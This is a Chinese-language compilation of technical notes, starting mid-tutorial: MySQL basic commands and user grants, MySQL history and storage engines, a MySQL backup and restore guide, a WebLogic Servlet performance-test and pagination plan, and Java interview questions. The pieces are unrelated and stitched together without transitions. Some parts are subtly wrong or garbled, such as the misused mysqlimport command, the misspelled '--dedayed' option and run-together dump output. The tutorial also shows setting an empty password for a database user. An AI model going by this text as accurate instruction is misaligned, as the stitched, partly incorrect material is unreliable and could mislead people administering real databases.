Query OK, 0 rows affected (0.01 sec)
mysql>quit
Bye
[weiwen@weiwenlinux]$mysql mydb -utest -ptest
其中test.sql是用vi编辑好的SQL脚本,其内容为:
Insert into TestTable(UserName,Address)values('Tom','shanghai');
Insert into TestTable(UserName,Address)values('John','beijing');
select * from TestTable;
运行已经编辑好的SQL脚本可以用source filename 或 . filename。
以上只是对新手的简单练习,要成为一个数据库好手,当以孜孜不倦地追求知识,不断地思考、尝试、再思考。
第一招、mysql服务的启动和停止
net stop mysql
net start mysql
第二招、登陆mysql
语法如下: mysql -u用户名 -p用户密码
键入命令mysql -uroot -p, 回车后提示你输入密码,输入12345,然后回车即可进入到mysql中了,mysql的提示符是:
mysql>
注意,如果是连接到另外的机器上,则需要加入一个参数-h机器IP
第三招、增加新用户
格式:grant 权限 on 数据库.* to 用户名@登录主机 identified by "密码"
如,增加一个用户user1密码为password1,让其可以在本机上登录, 并对所有数据库有查询、插入、修改、删除的权限。首先用以root用户连入mysql,然后键入以下命令:
grant select,insert,update,delete on *.* to user1@localhost Identified by "password1";
如果希望该用户能够在任何机器上登陆mysql,则将localhost改为"%"。
如果你不想user1有密码,可以再打一个命令将密码去掉。
grant select,insert,update,delete on mydb.* to user1@localhost identified by "";
第四招: 操作数据库
登录到mysql中,然后在mysql的提示符下运行下列命令,每个命令以分号结束。
1、 显示数据库列表。
show databases;
缺省有两个数据库:mysql和test。 mysql库存放着mysql的系统和用户权限信息,我们改密码和新增用户,实际上就是对这个库进行操作。
2、 显示库中的数据表:
use mysql;
show tables;
3、 显示数据表的结构:
describe 表名;
4、 建库与删库:
create database 库名;
drop database 库名;
5、 建表:
use 库名;
create table 表名(字段列表);
drop table 表名;
6、 清空表中记录:
delete from 表名;
7、 显示表中的记录:
select * from 表名;
第五招、导出和导入数据
1. 导出数据:
mysqldump --opt test > mysql.test
即将数据库test数据库导出到mysql.test文件,后者是一个文本文件
如:mysqldump -u root -p123456 --databases dbname > mysql.dbname
就是把数据库dbname导出到文件mysql.dbname中。
2. 导入数据:
mysqlimport -u root -p123456 < mysql.dbname。
不用解释了吧。
3. 将文本数据导入数据库:
文本数据的字段数据之间用tab键隔开。
use test;
load data local infile "文件名" into table 表名;
MySQL最初的开发者的意图是用mSQL和他们自己的快速低级例程(ISAM)去连接表格。不管怎样,在经过一些测试后,开发者得出结论:mSQL并没有他们需要的那么快和灵活。这导致了一个使用几乎和mSQL一样的API接口的用于他们的数据库的新的SQL接口的产生,这样,这个API被设计成允许为用于mSQL而写的第三方代码更容易移植到MySQL。
MySQL这个名字是怎么来的已经不清楚了。基本指南和大量的库和工具带有前缀“my”已经有10年以上,而且不管怎样,MySQL AB创始人之一的Monty Widenius的女儿也叫My。这两个到底是哪一个给出了MySQL这个名字至今依然是个密,包括开发者在内也不知道。
MySQL的海豚标志的名字叫“sakila”,它是由MySQL AB的创始人从用户在“海豚命名”的竞赛中建议的大量的名字表中选出的。获胜的名字是由来自非洲斯威士兰的开源软件开发者Ambrose Twebaze提供。根据Ambrose所说,Sakila来自一种叫SiSwati的斯威士兰方言,也是在Ambrose的家乡乌干达附近的坦桑尼亚的Arusha的一个小镇的名字。
MySQL是一个小型关系型数据库管理系统,开发者为瑞典MySQL AB公司。目前MySQL被广泛地应用在Internet上的中小型网站中。由于其体积小、速度快、总体拥有成本低,尤其是开放源码这一特点,许多中小型网站为了降低网站总体拥有成本而选择了MySQL作为网站数据库。
1.使用C和C++编写,并使用了多种
编译器进行测试,保证源代码的可移植性
2.支持AIX、
FreeBSD、HP-UX、
Linux、Mac OS、
Novell Netware、OpenBSD、OS/2 Wrap、Solaris、Windows等多种操作系统
3.为多种编程语言提供了API。这些编程语言包括
C、C++、Eiffel、Java、
Perl、
PHP、Python、Ruby和Tcl等。
4.支持
多线程,充分利用CPU资源
5.优化的
SQL查询算法,有效地提高查询速度
6.既能够作为一个单独的应用程序应用在客户端服务器网络环境中,也能够作为一个库而嵌入到其他的软件中提供多语言支持,常见的
编码如中文的GB 2312、BIG5,日文的Shift_JIS等都可以用作数据表名和数据列名
7.提供TCP/IP、ODBC和JDBC等多种数据库连接途径
8.提供用于管理、检查、优化数据库操作的管理工具
9.可以处理拥有上千万条记录的大型数据库
与其他的大型数据库例如Oracle、DB2、SQL Server等相比,MySQL自有它的不足之处,如规模小、功能有限(MySQL不支持视图(已经被列入5.1版的开发计划)、事件等)等,但是这丝毫也没有减少它受欢迎的程度。对于一般的个人使用者和中小型企业来说,MySQL提供的功能已经绰绰有余,而且由于MySQL是开放源码软件,因此可以大大降低总体拥有成本。
目前Internet上流行的网站构架方式是LAMP(Linux+Apache+MySQL+PHP),即使用Linux作为操作系统,Apache作为Web服务器,MySQL作为数据库,PHP作为服务器端脚本解释器。由于这四个软件都是遵循GPL的开放源码软件,因此使用这种方式不用花一分钱就可以建立起一个稳定、免费的网站系统。
可以使用命令行工具管理MySQL数据库(命令mysql 和 mysqladmin),也可以从MySQL的网站下载图形管理工具MySQL Administrator和MySQL Query Browser。
phpMyAdmin是由php写成的MySQL资料库系统管理程式,让管理者可用Web介面管理MySQL资料库。
phpMyBackupPro也是由PHP写成的,可以透过Web介面创建和管理数据库。它可以创建伪cronjobs,可以用来自动在某个时间或周期备份MySQL 数据库。
MyISAM Mysql的默认数据库,最为常用。拥有较高的插入,查询速度,但不支持事务
InnoDB 事务型数据库的首选引擎,支持
ACID事务,支持行级锁定
BDB 源自Berkeley DB,事务型数据库的另一种选择,支持COMMIT和ROLLBACK等其他事务特性
Memory 所有数据置于内存的存储引擎,拥有极高的插入,更新和查询效率。但是会占用和数据量成正比的内存空间。并且其内容会在Mysql重新启动时丢失
Merge 将一定数量的MyISAM表联合而成一个整体,在超大规模数据存储时很有用
Archive 非常适合存储大量的独立的,作为历史记录的数据。因为它们不经常被读取。Archive拥有高效的插入速度,但其对查询的支持相对较差
Federated 将不同的Mysql服务器联合起来,逻辑上组成一个完整的数据库。非常适合分布式应用
Cluster/NDB 高冗余的存储引擎,用多台数据机器联合提供服务以提高整体性能和安全性。适合数据量大,安全和性能要求高的应用
CSV 逻辑上由逗号分割数据的存储引擎
BlackHole 黑洞引擎,写入的任何数据都会消失
另外,Mysql的存储引擎接口定义良好。有兴趣的开发者通过阅读文档编写自己的存储引擎。
单点(Single),适合小规模应用
复制(Replication),适合中小规模应用
集群(Cluster),适合大规模应用
左光华的mysql网络数据库开发教学视频
http://www.tudou.com/playlist/mysql/Mysql6.0的alpha版于2007年初发布,新版增加了对falcon存储引擎的支持。Falcon是Mysql社区自主开发的引擎,支持ACID特性事务,支持行锁,拥有高性能的并发性。Mysql AB公司想用Falcon替代已经非常流行的InnoDB引擎,因为拥有后者技术的InnoBase已经被竞争对手Oracle所收购。
2008年1月16日,
Sun Microsystems宣布收购MySQL AB,出价约10亿美元现金外加期权。
http://www.mysql.com/news-and-events/sun-to-acquire-mysql.html
在数据库表丢失或损坏的情况下,备份你的数据库是很重要的。如果发生系统崩溃,你肯定想能够将你的表尽可能丢失最少的数据恢复到崩溃发生时的状态。有时,正是 MySQL 管理员造成破坏。管理员已经知道表已破坏,用诸如 vi 或 Emacs 等编辑器试图直接编辑它们,这对表绝对不是件好事!
备份数据库两个主要方法是用 mysqldump 程序或直接拷贝数据库文件(如用 cp、cpio 或 tar 等)。每种方法都有其优缺点:
mysqldump 与 MySQL 服务器协同操作。直接拷贝方法在服务器外部进行,并且你必须采取措施保证没有客户正在修改你将拷贝的表。如果你想用文件系统备份来备份数据库,也会发生同样的问题:如果数据库表在文件系统备份过程中被修改,进入备份的表文件主语不一致的状态,而对以后的恢复表将失去意义。文件系统备份与直接拷贝文件的区别是对后者你完全控制了备份过程,这样你能采取措施确保服务器让表不受干扰。
mysqldump 比直接拷贝要慢些。
mysqldump 生成能够移植到其它机器的文本文件,甚至那些有不同硬件结构的机器上。直接拷贝文件不能移植到其它机器上,除非你正在拷贝的表使用 MyISAM 存储格式。ISAM 表只能在相似的硬件结构的机器上拷贝。在 MySQL 3.23 中引入的 MyISAM 表存储格式解决了该问题,因为该格式是机器无关的,所以直接拷贝文件可以移植到具有不同硬件结构的机器上。只要满足两个条件:另一台机器必须也运行 MySQL 3.23 或以后版本,而且文件必须以 MyISAM 格式表示,而不是 ISAM 格式。
不管你使用哪种备份方法,如果你需要恢复数据库,有几个原则应该遵守,以确保最好的结果:
定期实施备份。建立一个计划并严格遵守。
让服务器执行更新日志。当你在崩溃后需要恢复数据时,更新日志将帮助你。在你用备份文件恢复数据到备份时的状态后,你可以通过运行更新日志中的查询再次运用备份后面的修改,这将数据库中的表恢复到崩溃发生时的状态。
以文件系统备份的术语讲,数据库备份文件代表完全倾倒(full dump),而更新日志代表渐进倾倒(incremental dump)。
使用一种统一的和易理解的备份文件命名机制。象 backup1、buckup2 等不是特别有意义。当实施你的恢复时,你将浪费时间找出文件里是什么东西。你可能发觉用数据库名和日期构成备份文件名会很有用。例如:
%mysqldump samp_db >/usr/archives/mysql/samp_db.1999-10-02
%mysqldump menagerie >/usr/archives/mysql/menagerie.1999-10-02
你可能想在生成备份后压缩它们。备份一般都很大!你也需要让你的备份文件有过期期限以避免它们填满你的磁盘,就象你让你的日志文件过期那样。
用文件系统备份备份你的备份文件。如果遇上了一个彻底崩溃,不仅清除了你的数据目录,也清除了包含你的数据库备份的磁盘驱动器,你将真正遇上了麻烦。
也要备份你的更新日志。
将你的备份文件放在不同于用于你的数据库的文件系统上。这将降低由于生成备份而填满包含数据目录的文件系统的可能性。
用于创建备份的技术同样对拷贝数据库到另一台机器有用。最常见地,一个数据库被转移到了运行在另一台主机上的服务器,但是你也可以将数据转移到同一台主机上的另一个服务器。
1 使用 mysqldump 备份和拷贝数据库
当你使用 mysqldumo 程序产生数据库备份文件时,缺省地,文件内容包含创建正在倾倒的表的 CREATE 语句和包含表中行数据的 INSERT 语句。换句话说,mysqldump 产生的输出可在以后用作 mysql 的输入来重建数据库。
你可以将整个数据库倾倒进一个单独的文本文件中,如下:
%mysqldump samp_db >/usr/archives/mysql/samp_db.1999-10-02
输出文件的开头看起来象这样:
# MySQL Dump 6.0# # Host: localhost Database: samp_db#-------------
--------------------------# Server version 3.23.2-alpha-log## Table st
ructure for table absence#CREATE TABLE absence( student_id int(10)
unsigned DEFAULT 0 NOT NULL, date date DEFAULT 0000-00-00 NOT NUL
L, PRIMARY KEY (student_id,date));## Dumping data for table absence
#INSERT INTO absence valueS (3,1999-09-03);INSERT INTO absence value
S (5,1999-09-03);INSERT INTO absence valueS (10,1999-09-08);......
文件剩下的部分有更多的INSERT和CREATE TABLE语句组成。如果你想压缩备份,使用类似如下的命令:
%mysqldump samp_db | gzip >/usr/archives/mysql/samp_db.1999-10-02.gz
如果你要一个庞大的数据库,输出文件也将很庞大,可能难于管理。如果你愿意,你可以在 mysqldump 命令行的数据库名后列出单独的表名来倾到它们的内容,这将倾倒文件分成较小、更易于管理的文件。下例显示如何将 samp_db 数据库的一些表倾到进分开的文件中:
%mysqldump samp_db student score event absence >grapbook.sql
%mysqldump samp_db member president >hist-league.sql
如果你生成准备用于定期刷新另一个数据库内容的备份文件,你可能想用 --add- drop-table 选项。这告诉服务器将 DROP TABLE IF EXISTS 语句写入备份文件,然后,当你取出备份文件并把它装载进第二个数据库时,如果表已经存在,你不会得到一个错误。
如果你倒出一个数据库以便能把数据库转移到另一个服务器,你甚至不必创建备份文件。要保证数据库存在于另一台主机,然后用管道倾倒数据库,这样 mysql 能直接读取 mysqldump 的输出。例如:你想从主机 pit- viper.snake.net 拷贝数据库 samp_db 到 boa.snake.net,可以这样很容易做到:
%mysqladmin -h boa.snake.net create samp_db
%mysqldump samp_db | mysql -h boa.snake.net samp_db
以后,如果你想再次刷新 boa.snake.net 上的数据库,跳过 mysqladmin 命令,但要对 mysqldump 加上--add-drop-table 以避免的得到表已存在的错误:
%mysqldump --add-drop-table samp_db | mysql -h boa.snake.net samp_db
mysqldump 其它有用的选项包括:
--flush-logs 和 --lock-tables 组合将对你的数据库检查点有帮助。--lock-tables 锁定你正在倾倒的所有表,而 --flush-logs 关闭并重新打开更新日志文件,新的更新日志将只包括从备份点起的修改数据库的查询。这将设置你的更新日志检查点位备份时间。(然而如果你有需要执行个更新的客户,锁定所有表对备份期间的客户访问不是件好事。)
如果你使用 --flush-logs 设置检查点到备份时,有可能最好是倾倒整个数据库。
如果你倾倒单独的文件,较难将更新日志检查点与备份文件同步。在恢复期间,你通常按数据库为基础提取更新日志内容,对单个表没有提取更新的选择,所以你必须自己提取它们。
缺省地,mysqldump 在写入前将一个表的整个内容读进内存。这通常确实不必要,并且实际上如果你有一个大表,几乎是失败的。你可用 --quick 选项告诉 mysqldump 只要它检索出一行就写出每一行。为了进一步优化倾倒过程,使用 --opt 而不是 --quick。--opt 选项打开其它选项,加速数据的倾倒和把它们读回。
用 --opt 实施备份可能是最常用的方法,因为备份速度上的优势。然而,要警告你,--opt 选项确实有代价,--opt 优化的是你的备份过程,不是其他客户对数据库的访问。--opt 选项通过一次锁定所有表阻止任何人更新你正在倾倒的任何表。你可在一般数据库访问上很容易看到其效果。当你的数据库一般非常频繁地使用,只是一天一次地调节备份。
一个具有 --opt 的相反效果的选项是 --dedayed。该选项使得 mysqldump 写出 INSERT DELAYED 语句而不是 INSERT 语句。如果你将数据文件装入另一个数据库并且你想是这个操作对可能出现在该数据库中的查询的影响最小,--delayed 对此很有帮助。
--compress 选项在你拷贝数据库到另一台机器上时很有帮助,因为它减少网络传输字节的数量。下面有一个例子,注意到 --compress 对与远端主机上的服务器通信的程序才给出,而不是对与本地主机连接的程序:
%mysqldump --opt samp_db | mysql --compress -h boa.snake.net samp_db
2 使用直接拷贝数据库的备份和拷贝方法
另一种不涉及 mysqldump 备份数据库和表的方式是直接拷贝数据库表文件。典型地,这用诸如 cp、tar 或 cpio 实用程序。本文的例子使用 cp。
当你使用一种直接备份方法时,你必须保证表不在被使用。如果服务器在你则正在拷贝一个表时改变它,拷贝就失去意义。
保证你的拷贝完整性的最好方法是关闭服务器,拷贝文件,然后重启服务器。如果你不想关闭服务器,要在执行表检查的同时锁定服务器。如果服务器在运行,相同的制约也适用于拷贝文件,而且你应该使用相同的锁定协议让服务器“安静下来”。
假设服务器关闭或你已经锁定了你想拷贝的表,下列显示如何将整个 samp_db 数据库备份到一个备份目录(DATADIR 表示服务器的数据目录):
%cd DATADIR%cp -r samp_db /usr/archive/mysql
单个表可以如下备份:
%cd DATADIR/samp_db%cp member.* /usr/archive/mysql/samp_db%cp score.*
/usr/archive/mysql/samp_db ....
当你完成了备份时,你可以重启服务器(如果关闭了它)或释放加在表上的锁定(如果你让服务器运行)。
要用直接拷贝文件把一个数据库从一台机器拷贝到另一台机器上,只是将文件拷贝到另一台服务器主机的适当数据目录下即可。要确保文件是 MyIASM 格式或两台机器有相同的硬件结构,否则你的数据库在另一台主机上有奇怪的内容。你也应该保证在另一台机器上的服务器在你正在安装数据库表时不访问它们。
3 复制数据库(Replicating Database)
复制(Replication)类似于拷贝数据库到另一台服务器上,但它的确切含义是实时地保证两个数据库的完全同步。这个功能将在 3.23 版中出现,而且还不很成熟,因此本文不作详细介绍。
4 用备份恢复数据
数据库损坏的发生有很多原因,程度也不同。如果你走运,你可能仅损坏一两个表(如掉电),如果你倒霉,你可能必须替换整个数据目录(如磁盘损坏)。在某些情况下也需要恢复,比如用户错误地删除了数据库或表。不管这些倒霉事件的原因,你将需要实施某种恢复。
如果表损坏但没丢失,尝试用 myisamchk 或 isamchk 修复它们,如果这样的损坏可有修复程序修复,你可能根本不需要使用备份文件。
恢复过程涉及两种信息源:你的备份文件和个更新日志。备份文件将表恢复到实施备份时的状态,然而一般表在备份与发生问题之间的时间内已经被修改,更新日志包含了用于进行这些修改的查询。你可以使用日志文件作为 mysql 的输入来重复查询。这已正是为什么要启用更新日志的原因。
恢复过程视你必须恢复的信息多少而不同。实际上,恢复整个数据库比单个表跟容易,因为对于数据库运用更新日志比单个表容易。
4.1 恢复整个数据库
首先,如果你想恢复的数据库是包含授权表的 mysql 数据库,你需要用 --skip -grant-table 选项运行服务器。否则,它会抱怨不能找到授权表。在你已经恢复表后,执行 mysqladmin flush-privileges 告诉服务器装载授权标并使用它们。
将数据库目录内容拷贝到其它某个地方,如果你在以后需要它们。
用最新的备份文件重装数据库。如果你用 mysqldump 产生的文件,将它作为 mysql 的输入。如果你用直接从数据库拷贝来的文件,将它们直接拷回数据库目录,然而,此时你需要在拷贝文件之前关闭数据库,然后重启它。
使用更新日志重复做备份以后的修改数据库表的查询。对于任何可适用的更新日志,将它们作为 mysql 的输入。指定 --one-database 选项使得 mysql 只执行你有兴趣恢复的数据库的查询。如果你知道你需要运用所有更新日志文件,你可以在包含日志的目录下使用这条命令:
% ls -t -r -1 update.[0-9]* | xargs cat | mysql --one-database db_name
ls 命令生成更新日志文件的一个单列列表,根据服务器产生它们的次序排序(主意:如果你修改任何一个文件,你将改变排序次序,这导致更新日志一错误的次序被运用。)
很可能你会是运用某几个更新日志。例如,自从你备份以来产生的更新日志被命名为 update.392、update.393 等等,你可以这样重新运行:
%mysql --one-database db_name < update.392
%mysql --one-database db_name < update.393
.....
如果你正在实施恢复且使用更新日志恢复由于一个错误建议的 DROP DATABASE、DROP TABLE 或 DELETE 语句造成丢失的信息,在运用更新日志之前,要保证从其中删除这些语句。
4.2 恢复单个表
恢复单个表较为复杂。如果你用一个由 mysqldump 生成的备份文件,并且它不包含你感兴趣的表的数据,你需要从相关行中提取它们并将它们用作 mysql 的输入。这是容易的部分。难的部分是从只运用于该表的更新日志中拉出片断。你会发觉 mysql_find_rows 实用程序对此很有帮助,它从更新日志中提取多行查询。
另一个可能性是使用另一台服务器恢复整个数据库,然后拷贝你想要的表文件到原数据库中。这可能真的很容易!当你将文件拷回数据库目录时,要确保原数据库的服务器关闭。
Servlet版性能测试
主要考虑的Servlet版运行方式有:
一:Servlet在Web容器中的运行机制
1. 单独一个无状态的Servlet实例运行
即Web容器里的多个线程调用一个Servlet实例的运行方式
2. 多个Servlet实例
在Web容器中有多个Servlet实例的对象池,并有多个Web容器线程来分别调用执行
二:Servlet 连接数据库的方式
1. 一对一
即可每个Servlet实例都有直接的数据库连接。
具体方式有:
1> 在Servlet实例的每个处理方法中每次都调用数据库连接,然后用此连接进行数据库的查询等操作,最后关闭并释放此连接。
2> 在Servlet实例的初始化操作时就连接一个“长”的数据库连接,直到Servlet实例在destroy时关闭并释放此数据库连接。
因为现在的数据库操作主要是查询,没有对数据库的增加、修改等操作,多用户业务查询、Web容器多线程同时对一个Servlet的同一个数据库连接进行操作应该会没有数据操作同步等问题。
2. 使用Web容器的数据源
这里主要是使用Web容器的数据源-数据库连接池。
在理论上这种方式能提供最佳的性能。这是也是测试各种Web容器产品在数据库连接池上实现的性能情况。
这里主要看Web容器的在各种应用情况下的最优化配置。
Servlet与数据源连接的实现方式:
Servlet直接从Web容器配置中取得数据源及其连接对象,然后通过此连接对象来操作数据库。对于数据库连接对象的管理由Web容器来管理。
三:要考虑的问题:
1. 大数据量传输问题
大数据量通过Servlet实例从数据库中取得并整理后,如何有效的传输到客户端IE,并且Servlet实例如何有效在Web容器中处理这些大数据量。
2. 对各种JDBC版本的测试
即不同的数据库使用其自己专用的JDBC来连接,在性能上应该要好一些。
这里也可比较Weblogic Server中实现JDBC与各种数据库(MSSQL、Oracle)专用的差别,从测试的结果看出Weblogic Server的技术实例以及是否真正做到了数据库连接等处理的优化了吗。
3. Weblogic Server的优化配置
3.1 对象池配置
包括应用逻辑处理对象的对象池化以及使用数据源时的数据库连接对象池在各种具体应用环境下的优化配置。
3.2 线程池配置
以上两个方面涉及到对象池化和串行化处理的策略。
3.3 Weblogic Server 的配置的各种参数的相应情况下的配置
1> JAVA VM (JAVA 虚拟机)参数在各种应用情况下的配置。
2> Weblogic Server 本身的各种参数配置。
鉴于以上的考虑对Servlet版的测试规划为以下几种测试用例:
序号 部署包名(*.JAR *.WAR *.EAR 等) 数据源配置 Weblogic Server
的配置 预期结果 说明 可能出现的问题和现象
1 ServletQueryForPerConn.war 在每此业务处理时创建数据库连接,操作完毕后关闭并释放。
通过Web.xml配置文件来配置JDBC的驱动类型和连接。 直接部署ServletQueryForPerConn.jar部署包。
Web容器中只有一个Serverlet实例。
建议配置较多的线程数量。
性能差。
在每此业务处理时创建数据库连接,操作完毕后关闭并释放。
此包中没有设计到线程同步的有关代码。 数据库很忙(因为数据库要接收频繁的数据库连接)。
可能瓶颈在数据库对频繁的连接处理。
数据库事务方面:由于是在每次处理时就调用数据库连接并查询,因此数据库的事务处理应该是单独在一个独立的处理过程中,与并行的其他线程的处理没有关系。
2 ServletQueryForOnceConn.war Servlet对象只是的初始化时连接与数据库的一个连接,在以后的操作中式中使用这个连接。
通过Web.xml配置文件来配置JDBC的驱动类型和连接。 直接部署ServletQueryForOnceConn.jar包;
Web容器只有一个Servlet实例。
建议配置较多的线程数量。
性能较差。
Servlet对象只是的初始化时连接与数据库的一个连接,在以后的操作中式中使用这个连接。
此包中没有设计到线程同步的有关代码。 数据库连接只有一个。
可能瓶颈在Web容器的多个线程对同一个数据库连接对象的同步等处理(这些同步处理是Web容器自己管理的)。
可能出现查询的数据在多个客户请求中打乱(因为同时使用同一个数据库通信通道);
并且多个线程(单独的处理单元)可能会在同一个处理事务中,可能各个处理单元会串行操作数据库(这要看数据库的具体实现了)。
3 ServletQueryForConnPool.war 直接使用Web容器的数据源和数据库连接池。 配置数据源及数据库连接池。
建议根据实际情况优化配置数据源和连接池。如可建立多个连接池等配置。 性能好。 Servlet实例不管数据库连接,而是直接从Web容器中取得数据库连接。数据库的连接对象有Web容器全权管理。
此包中没有设计到线程同步的有关代码。 对Web容器的数据库连接池的配置可能要根据具体情况进行有效的调整(如数据库连接对象个数和Web容器配额的线程个数的关系等)。如果配置不佳可能是性能瓶颈在Web容器或者在数据库方。
4 ServletQueryForConnPool.war
(同测试3) 同测试3 Web容器的数据源重新配置为数据库产品专用的JDBC驱动器。 性能好。 测试目的是比较各种不同的JDBC数据连接驱动器的性能,以便得出根据不同的数据库产品选择最佳的JDBC驱动器。
只测试数据库产品提供的专用JDBC驱动器。
(说明:因为测试3在理论上性能是最好,因此选用测试3。测试方法和测试3一样,这样才有可比性。) 同测试3。
5 servletQueryDS_Cache.war 同测试3 同测试3 性能一般
使用一变量来缓存查询的数据,用户以后的分页查询查询操作是直接从此缓存中取得的。
这种方式对Web容器的内存要求高,效果不是很好,对数据量查询小的效果可能会好些。 优点:
减少的了对数据库访问的次数。
缺点:
需要较大的内存。对Weblogic容器的内存要求高,对于有大量用户的查询操作,并且查询的结果集较大时,可能对整个系统的性能是个很大的瓶颈。
对大量数据的分页处理
问题描述:
背景1:一客户通过IE请求Web服务器查询数据,而查询结果是上千条甚至是上万条记录,要求查询结果传送到IE客户端并分页显示。
背景2:一客户通过IE或者其他方式请求Web服务器查询数据,而查询结果是上千条甚至是上万条记录,并要求查询结果把包传送到客户的E-mail中。
问:对于这样的有大量数据的结果集,在Web服务器端如何有效的处理?
可能涉及到的问题:
1. 内存占用
大量数据的结果集,可能要
2. 传输速度及策略
具体的分页处理技术
序号 名称 处理方法 针对的数据库 例子说明 备注
1 游标查询 直接使用ResultSet来处理。ResultSet是直接在数据库上建立游标,然后通过ResultSet的行位置定位接口来获得指定行位置的记录。
当用户第一请求数据查询时,就执行SQL语句查询,获得的ResultSet对象及其要使用的连接对象都保存到其对应的会话对象中。
以后的分页查询都通过第一次执行SQL获得的ResultSet对象定位取得指定行位置的记录。
最后在用户不再进行分页查询时或会话关闭时,释放数据库连接和ResultSet对象等数据库访问资源。
说明:在用例分页查询的整个会话期间,一个用户的分页查询就要占用一个数据库连接对象和结果集的游标,这种方式对数据库的访问资源占用比较大,并且其利用率不是很高。 所有的数据库产品。 优点:
减少了数据库连接对象的多次分配获取,减少了对数据库的SQL查询执行。
缺点:
占用数据库访问资源-数据库连接对象,并占用了数据库上的资源-游标。而这些资源都是十分宝贵的有限制的。
结论:
这种的数据库查询分页处理方式不是最佳的。一般不适用这种方式。
2 定位行集SQL查询 主要是直接使用数据库产品的提供的对查询的结果集可定位行范围的SQL接口技术。
在用户的分页面查询请求中,每次可取得查询请求的行范围的参数,然后使用这些参数生产取得指定行范围的的SQL查询语句,然后每次请求获得一个数据库连接对象并执行SQL查询,把查询的结果返回给用户,最后释放说有的数据库访问资源。
说明:这种方式需要每次请求时都要执行数据库的SQL查询语句;对数据库的访问资源是使用完就立即释放,不白白占用数据库访问资源。 对特定(提供了对查询结果集可定位功能的)的数据库产品。
如:Oracle,DB2, PostgreSQL,mySQL等。(MS SQL Server 没有提供此技术。) 如:
1. Oracle数据库使用关键字:rowid或rownum
2. DB2:
rowid或rownum ()
3. PostgreSQL 使用LIMIT 和 OFFSET
4. MySQL 使用Limit 优点:
这种技术是直接使用数据库产品自己提供的可对查询结果集定位行范围过滤的功能,因此直接利用了数据库的性能对此分页查询的优化功能。
对数据库的访问资源(数据库连接对象,数据库游标等)没有浪费,这些资源的充分重复的利用。
对查询的结果对Web容器没有什么特别要求。
缺点:
要执行多次数据库SQL查询操作。对每次的分页面操作请求都要指定相应范围的结果集来执行SQL语句的数据库查询操作,这对数据库有一定的影响。
对每次分页面查询请求要频繁的从Web容器中获得数据库访问资源(数据库连接对象和数据库游标)。
要依赖于具体的数据库产品。因为对没有实现没有提供此技术的数据库产品不能使用此方式。
结论:
由于每次对数据库的SQL查询操作相对而言耗用的数据资源比较少,并且在实际用户的操作中,有可能用户对查询的所有结果集只是需要查看其中的部分页面。
因此这种方式是最佳的。
3 特别处理的定位行集SQL查询 这种方式是在方式2的基础上针对不提供对查询结果集行范围定位的数据库产品。
其在Web容器端的操作逻辑大致和方式2相同。
只是先要对要查询的数据库表要有一字段的数据能区别每条不同的数据记录。第一次查询时,获得用来可唯一标识不同记录的字段的所有结果集,并缓存起来以备后面的分页面查询指定要查询的结果集的行范围。 主要是针对不同对查询行集可定位范围获得的数据库产品,如MS SQL Server等。 假设从A,B,C三个表中选取数据。且A有字段ID用来可唯一区别不同的记录。
那么第一次查询的时候,会查询两次1. select A.id from A,B,C where condition.
2. 把A的ID缓存到SESSION中?3.从Session中。现可按照次序来取得相应页面范围的ID来,并构造下一个查询语句:select A.name, B.add from A,B,C where condition && (
A.ID in 本页面范围的 ID )
以后每次翻页的时候,依次获得对应页的ID只要表中唯一的就可以了。无所谓大小,顺序?这样,SESSSION缓存的就只是一列而不是所有列了。当然,对于列数不多的,效果并不好。
也可使用存储过程实现,可参照:http://expert.csdn.net/Expert/topic
/2365/2365596.xml?temp=.7529261
优点:
同方式2
缺点:
同方式2;
还要在要查询的数据库表中建立一个相应的ID,用来唯一区别每条记录。
结论:
同方式2。
4 缓存一次SQL查询的结果集 优点:
缺点:
既然我们要缓存结果,那么用户就可能会看到过期的数据
说明:对于实际情况的应用来说,一般结合实际情况,结合使用方式2(或方式3)和方式4。如:一个应用场景:对公司的产品的查询是经常的,但是产品的种类不是很多,这时可使用缓存方式;但是对有些查询结果集较大,数据库和Web容器之间的网络访问由可能是远程的,这时候可考虑使方式2(或者方式3)。
测试用例代码实现说明
一:测试用例3-ServletQueryForConnPool 版本
1.结构图
2.代码实现结构
3.运行时序图
4.测试运行情况说明
4.1 数据库连接和数据库游标占用可能比较大
由于数据库的查询及其分页处理是直接使用JDBC的,并在分页中是使用RseultSet的查询结果集-游标形式实现的,并且每个客户对应一个会话,每个会话对应一个数据库连接和一个结果集(游标),数据库连接和游标是在会话终止时才释放的。因此在多个客户的请求过程中,可能对数据库的访问资源(数据库连接和用于数据操作的游标)占用比较大。
因此数据库访问及其数据库的处理可能是个瓶颈。
4.2 资源没有释放的问题
会话对应的数据库连接和游标可能在会话终止时没有释放。
为了更好的体现出使用Web容器数据库连接池的优点,应该合理的设置连接池中连接对象的“非活动超时时间”,建议次值和Servlet对象的会话超时时间长度一直。
5.此测试用例操作说明
5.1 部署的包的位置:
ServletQueryForConnPool.war
5.2 部署
1.通过Weblogic 的控制台工具部署此包
2.相关的参数请看ServletQueryForConnPool.war包中的配置文件web.xml中相应的servlet配置参数
5.3 测试URL
http://Server:port/WebAppName
即:
http://Web服务器名:端口/Servlet部署的应用程序名
二:测试用例4 ServletQueryForConnPool_cache 版本
1.结构图
和“一:测试用例3”相同
2.代码实现结构
3.运行时序
说明:使用第四种“缓存一次SQL查询的结果集”的分页面查询技术,即一次SQL查询,把从数据库查询出来的结果保存到会话中,以后的客户分页查询操作都从此缓存中取得。
4.测试运行情况说明
由于使用的是缓存结果集的方式,对Web容器服务器的内存要求比较高,可能在测试过程中,Web容器服务器因内存问题而影响整个系统的响应性能。
5.此测试用例操作说明
5.1 部署的包的位置:
ServletQueryForConnPool_cache.war
40、构造器Constructor是否可被override?构造器Constructor不能被继承,因此不能重写Overriding,但可以被重载Overloading。
41、是否可以继承String类?String类是final类故不可以继承。
42、swtich是否能作用在byte上,是否能作用在long上,是否能作用在String上?switch(expr1)中,expr1是一个整数表达式。因此传递给 switch 和 case 语句的参数应该是 int、 short、 char 或者 byte。long,string 都不能作用于swtich。
43、try {}里有一个return语句,那么紧跟在这个try后的finally {}里的code会不会被执行,什么时候被执行,在return前还是后?会执行,在return前执行。
44、编程题: 用最有效率的方法算出2乘以8等於几? 2 << 3
45、两个对象值相同(x.equals(y) == true),但却可有不同的hash code,这句话对不对?不对,有相同的hash code。
46、当一个对象被当作参数传递到一个方法后,此方法可改变这个对象的属性,并可返回变化后的结果,那么这里到底是值传递还是引用传递? 是值传递。Java 编程语言只有值传递参数。当一个对象实例作为一个参数被传递到方法中时,参数的值就是对该对象的引用。对象的内容可以在被调用的方法中改变,但对象的引用是永远不会改变的。
